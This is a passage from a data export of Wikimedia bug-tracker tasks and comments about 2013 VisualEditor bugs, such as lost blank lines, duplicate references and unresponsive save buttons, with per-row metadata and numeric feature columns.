Browser: Chrome 29.0.1547.66 m W764bit",,,1379658982,,PHID-USER-26asvhtv4jalaeeuigbm,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,2.0,4.0,20.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,5.2592592592592595,0.7962962962962963,"Still happening with the following VE-commit

commit c98a964d5f8495f0d16af9229abbeb0449042d1e
Merge: 3d01a5b e7aed52
Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
Date:   Wed Sep 18 01:11:46 2013 +0000
Merge ""Fix check for preformatted when stripping whitespace""

Browser: Chrome 29.0.1547.66 m W764bit"
255701,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,Confirmed this is still happening on en.wp (wmf 15) and mediawiki.org (wmf 16),,,1378425096,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.8823529411764706,0.8235294117647058,Confirmed this is still happening on en.wp (wmf 15) and mediawiki.org (wmf 16)
255688,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"I've tested it with the VisualEditor on the official mediawiki-page. Here it works: Im able to enter more than one line break. Can you guys reproduce my problem with my version?

I updated my VE to the latest master-branch-commit: 

commit 2c4e9d832374f095d3fa9d43b845ac7c7083aeb4
Merge: c84c47a 7673a39
Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
Date:   Wed Aug 14 22:00:12 2013 +0000
Merge ""Support previews and concurrent updates in ce.GeneratedContentNode""

Browser-Information: Chrome on Windows 7 64bit 28.0.1500.95 

>>> Still the same problem.",,,1376631319,,PHID-USER-26asvhtv4jalaeeuigbm,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,4.0,0.0,0.5,5.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,16.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,5.5,5.0,15.0,0.5,2.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,4.4753668763102725,0.7760307477288609,"I've tested it with the VisualEditor on the official mediawiki-page. Here it works: Im able to enter more than one line break. Can you guys reproduce my problem with my version?

I updated my VE to the latest master-branch-commit: 

commit 2c4e9d832374f095d3fa9d43b845ac7c7083aeb4
Merge: c84c47a 7673a39
Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
Date:   Wed Aug 14 22:00:12 2013 +0000
Merge ""Support previews and concurrent updates in ce.GeneratedContentNode""

Browser-Information: Chrome on Windows 7 64bit 28.0.1500.95 

QUOTE"
255680,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"Sounds like VE, as we'll produce empty lines fr p/br content just fine. Moving to VE.",,,1376612281,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,23.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.1818181818181817,0.9090909090909091,"Sounds like VE, as we'll produce empty lines fr p/br content just fine. Moving to VE."
255674,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,Is this a question about the VE interface (in which case you should either file this against the VE component OR show up on IRC and ask on #mediawiki-visualeditor) or the wikitext that is generated?,,,1376407363,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,5.0,12.0,0.0,10.0,17.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,15.0,7.0,2.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8780487804878049,Is this a question about the VE interface (in which case you should either file this against the VE component OR show up on IRC and ask on #mediawiki-visualeditor) or the wikitext that is generated?
54787,VisualEditor: support article layouts,"Pages started with a copy/paste of layouts (i.e. http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Football/Players ) are very, very common. VE does not seem to support this right now, making VE a very secondary choice to create articles. Probably related to https://bugzilla.wikimedia.org/show_bug.cgi?id=33105 , please feel free to mark this as a dupe if needed. Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1376387040,1383280378.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-svug2yxishcvki3vxn4q,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,4.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,12.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,3.8026315789473686,0.6842105263157895,"Pages started with a copy/paste of layouts (i.e. URL ) are very, very common. VE does not seem to support this right now, making VE a very secondary choice to create articles. Probably related to URL , please feel free to mark this as a dupe if needed. Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
255055,VisualEditor: support article layouts,"I'm going to merge this with bug 52091, which would fix the issue (you could copy-and-paste from the read HTML without needing to do anything special).

*** This bug has been marked as a duplicate of bug 52091 ***",,,1383280378,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-svug2yxishcvki3vxn4q,task_subcomment,,True,c1,3,True,,,17,,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,13.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.3207547169811322,0.7924528301886793,"I'm going to merge this with bug 52091, which would fix the issue (you could copy-and-paste from the read HTML without needing to do anything special).

*** This bug has been marked as a duplicate of bug 52091 ***"
54755,VisualEditor: reusing existing reference generates duplicate references,"All the references adding in this edit: https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=568232613&oldid=568231803 were added using the ""use existing reference"" option. 

It seems that only when I added the same reference on the same line (trying to reproduce a different bug) did it reuse the existing ref rather than creating a duplicate one.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1376326380,1401473395.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-xsaz6kvx37q5kaxfiw5l,task_description,invalid,True,c1,3,False,False,False,6,,1.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,8.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,4.0,7.0,0.0,0.0,3.0,0.0,4.0,0.0,1.0,3.0,0.0,8.0,0.0,0.0,0.0,4.027027027027027,0.7027027027027027,"All the references adding in this edit: URL were added using the ""use existing reference"" option. 

It seems that only when I added the same reference on the same line (trying to reproduce a different bug) did it reuse the existing ref rather than creating a duplicate one.

--------------------------
**Version**: unspecified
**Severity**: normal"
253306,VisualEditor: reusing existing reference generates duplicate references,"I'm not sure I understand this bug report – surely it's obvious that if you re-use a reference, we need to modify the original reference to have a name (if it doesn't already have one) so we can re-use it? That's how MediaWiki's referencing system works. Please re-open if I've missed something.",,,1401473395,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xsaz6kvx37q5kaxfiw5l,task_subcomment,,True,c1,3,True,,,47,,0.0,1.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,1.0,7.0,14.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,13.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,13.0,14.0,1.0,1.0,0.0,0.0,13.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.4857142857142858,0.7285714285714285,"I'm not sure I understand this bug report – surely it's obvious that if you re-use a reference, we need to modify the original reference to have a name (if it doesn't already have one) so we can re-use it? That's how MediaWiki's referencing system works. Please re-open if I've missed something."
253304,VisualEditor: reusing existing reference generates duplicate references,user Biosthmors at en.wp reports that this bug is frustrating his efforts to recruit a campus ambassador because they are getting so frustrated at trying to get VE to do what it claims it will do.,,,1378727138,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xsaz6kvx37q5kaxfiw5l,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,19.0,8.0,0.0,0.0,0.0,11.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,0.0,4.351351351351352,0.8648648648648649,user Biosthmors at en.wp reports that this bug is frustrating his efforts to recruit a campus ambassador because they are getting so frustrated at trying to get VE to do what it claims it will do.
54742,"VisualEditor: ""existing references"" in the references dialog not identifying references","See https://pl.wikipedia.org/w/index.php?title=Wikipedysta:G%C5%BCdacz/brudnopis&oldid=37221362&veaction=edit for an example; only one citation appears as insertable.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1376287140,1402332002.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wwlsmm4fnvqjdssb7g4d,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.064516129032258,0.7096774193548387,"See URL for an example; only one citation appears as insertable.

--------------------------
**Version**: unspecified
**Severity**: normal"
252663,"VisualEditor: ""existing references"" in the references dialog not identifying references","

*** This bug has been marked as a duplicate of bug 50474 ***",,,1402332002,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wwlsmm4fnvqjdssb7g4d,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50474 ***"
54733,VisualEditor: Cannot backspace in Edit Summary window after reviewing changes,"**Author:** `hagurganus`

**Description:**
When typing an edit summary in the Edit Summary window, I was unable to backspace. It seemed to let me highlight and _replace_ text, but even then, I could not highlight and hit the backspace key to _remove_ the text, I had to highlight and hit spacebar to simply enter a space, etc.

It could be that this is intentional, but I highly doubt this.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1376249940,1377833584.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vis7xnmoa7ngc2i4ds2i,task_description,resolved,True,c1,3,False,False,True,5,,0.0,0.0,1.0,0.0,0.5,3.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.5,0.0,4.0,5.0,0.0,3.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,1.5,0.0,0.0,2.5,1.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,0.0,7.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,3.5,2.5,9.0,1.5,3.5,5.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,6.5,5.0,2.0,0.0,0.0,0.0,6.5,0.0,0.5,1.5,0.5,0.5,0.0,0.0,2.0,3.536363636363636,0.7,"**Author:** CODE

**Description:**
When typing an edit summary in the Edit Summary window, I was unable to backspace. It seemed to let me highlight and _replace_ text, but even then, I could not highlight and hit the backspace key to _remove_ the text, I had to highlight and hit spacebar to simply enter a space, etc.

It could be that this is intentional, but I highly doubt this.

--------------------------
**Version**: unspecified
**Severity**: major"
252253,VisualEditor: Cannot backspace in Edit Summary window after reviewing changes,"I believe that this is the same as bug 50722, yes.

*** This bug has been marked as a duplicate of bug 50722 ***",,,1377833584,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vis7xnmoa7ngc2i4ds2i,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.903225806451613,0.7096774193548387,"I believe that this is the same as bug 50722, yes.

*** This bug has been marked as a duplicate of bug 50722 ***"
252250,VisualEditor: Cannot backspace in Edit Summary window after reviewing changes,I think this is likely to be bug 50722?,,,1377449242,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vis7xnmoa7ngc2i4ds2i,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,I think this is likely to be bug 50722?
252245,VisualEditor: Cannot backspace in Edit Summary window after reviewing changes,"I've been encountering this for a while and just worked out how to reproduce this:

1. Edit a page in VE
2. Enter an edit summary (doesn't matter what) but don't save
3. Review your changes.
4. Return to editing the page without saving (e.g. using the ^ button). It doesn't matter if you make any more changes or not.
5. Click save page again

Expected behaviour
* The edit summary input box works like a normal text entry field

Actual behaviour
* The delete, backspace and cursor keys do not work.
* Text can only be selected using the mouse
* Selected text can be removed by overwriting, by ""delete"" or ""cut"" from the RMB menu, or by using the ctrl+x shortcut to cut.

This bug was originally reported on Safari/MacOS X, I encountered it using Firefox 23/Linux",,,1376475552,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vis7xnmoa7ngc2i4ds2i,task_subcomment,,True,c1,3,False,,,6,,0.5,0.0,0.0,1.5,2.5,2.5,0.0,0.0,0.0,0.5,1.0,2.0,0.0,0.5,0.0,1.0,1.0,5.5,7.5,0.0,1.0,0.0,0.5,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,3.5,0.5,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,15.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.5,1.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.5,0.0,3.0,7.5,4.5,0.0,2.0,0.0,3.0,0.0,1.0,2.0,0.0,4.0,0.5,0.0,1.5,3.5,0.7087912087912088,"I've been encountering this for a while and just worked out how to reproduce this:

1. Edit a page in VE
2. Enter an edit summary (doesn't matter what) but don't save
3. Review your changes.
4. Return to editing the page without saving (e.g. using the ^ button). It doesn't matter if you make any more changes or not.
5. Click save page again

Expected behaviour
* The edit summary input box works like a normal text entry field

Actual behaviour
* The delete, backspace and cursor keys do not work.
* Text can only be selected using the mouse
* Selected text can be removed by overwriting, by ""delete"" or ""cut"" from the RMB menu, or by using the ctrl+x shortcut to cut.

This bug was originally reported on Safari/MacOS X, I encountered it using Firefox 23/Linux"
54669,"VisualEditor: After ""wikimarkup"" popup, save button temporarily does not work","An editor reports that he lost his work when an extensive edit unexpectedly triggered the ""wikimarkup"" popup and - after he dismissed it - the ""save"" button became unresponsive. The button appeared as normal but did not react to being selected.

He was using Windows 7 and Firefox.

I reproduced this using Windows 7 and Chrome (didn't matter if I removed the wikimarkup or not), and on further investigation found that the ""save"" button will respond as expected after a delay.

The issue, of course, is that if this editor aborted his edit because he thought the system would not save, others are likely to think that as well.

Not sure if anything can be done to make the save button immediately responsive or to figure out why it wouldn't be or to make it apparent to editors that the option to ""save"" will return.

The conversation can be found here:
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=567809017#Wikitext_error_message

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1376050200,1383015225.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-avc3fsxulmn56uqgbsy6,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.5,0.0,1.5,3.0,6.0,1.0,0.5,0.0,1.5,1.5,1.0,0.0,0.0,0.0,1.0,0.0,7.0,11.0,0.5,2.5,0.0,0.0,0.0,6.5,0.0,0.0,0.0,1.0,2.0,0.0,1.5,2.5,1.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,3.0,0.5,2.5,0.0,0.5,0.5,0.0,1.5,11.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,6.5,3.5,7.5,5.5,4.0,7.5,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,5.5,11.0,2.0,0.0,4.0,0.0,5.5,0.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,3.9439898989898987,0.6581818181818182,"An editor reports that he lost his work when an extensive edit unexpectedly triggered the ""wikimarkup"" popup and - after he dismissed it - the ""save"" button became unresponsive. The button appeared as normal but did not react to being selected.

He was using Windows 7 and Firefox.

I reproduced this using Windows 7 and Chrome (didn't matter if I removed the wikimarkup or not), and on further investigation found that the ""save"" button will respond as expected after a delay.

The issue, of course, is that if this editor aborted his edit because he thought the system would not save, others are likely to think that as well.

Not sure if anything can be done to make the save button immediately responsive or to figure out why it wouldn't be or to make it apparent to editors that the option to ""save"" will return.

The conversation can be found here:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
247647,"VisualEditor: After ""wikimarkup"" popup, save button temporarily does not work","Is this still occurring? I think we've fixed it, so am marking as FIXED, but would prefer to get confirmation.",,,1383015225,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-avc3fsxulmn56uqgbsy6,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,8.0,4.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.64,0.96,"Is this still occurring? I think we've fixed it, so am marking as FIXED, but would prefer to get confirmation."
247642,"VisualEditor: After ""wikimarkup"" popup, save button temporarily does not work","en.wp user GermanJoe reports a probably related problem:

After dismissing the wikitext warning the ""upper third and right corner"" of the save and cancel buttons are not clickable."" and that ""Those partial locks are only released, after you clear your browser cache (stopping VE is not enough) ""

GermanJoe was using Windows XP, FF 22, vector.js and a 1280 x 1024 resolution for test. He did not experience the problem in 800x600 resolution.

Elitre was able to reproduce this and added that ""this behavior changes if you zoom in or out (that is, if the buttons get bigger or smaller)""

I reproduce this using Monobook in Firefox 23 on Linux, but zooming the page did not result in changed behaviour for me.",,,1376141839,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-avc3fsxulmn56uqgbsy6,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.5,2.5,5.5,1.5,0.0,0.0,1.5,2.5,0.0,0.0,0.5,0.0,1.5,0.5,4.0,10.0,0.0,0.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.5,6.0,0.0,0.0,1.5,1.5,0.0,0.0,2.0,0.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,8.5,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,4.5,3.5,8.0,2.5,4.5,8.0,0.0,0.0,0.0,0.0,2.5,0.0,3.0,0.0,3.5,10.0,5.5,0.0,4.0,0.0,3.5,0.0,0.0,1.0,0.5,3.5,1.5,0.0,0.5,4.041095890410959,0.7534246575342466,"en.wp user GermanJoe reports a probably related problem:

After dismissing the wikitext warning the ""upper third and right corner"" of the save and cancel buttons are not clickable."" and that ""Those partial locks are only released, after you clear your browser cache (stopping VE is not enough) ""

GermanJoe was using Windows XP, FF 22, vector.js and a 1280 x 1024 resolution for test. He did not experience the problem in 800x600 resolution.

Elitre was able to reproduce this and added that ""this behavior changes if you zoom in or out (that is, if the buttons get bigger or smaller)""

I reproduce this using Monobook in Firefox 23 on Linux, but zooming the page did not result in changed behaviour for me."
54646,VisualEditor: don't display all tools by default to new editors,"en.wp user Ruud Koot suggests that certain tools, such as underline and font colour (bug 52645) that are not normally wanted/needed in articles shouldn't be available to new editors.

Personally I think everything should be available (this avoids the need for new classes of editor permissions) but just not shown by default. What is shown/not shown by default needs to be configurable on-wiki per wiki (and possibly per namespace).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
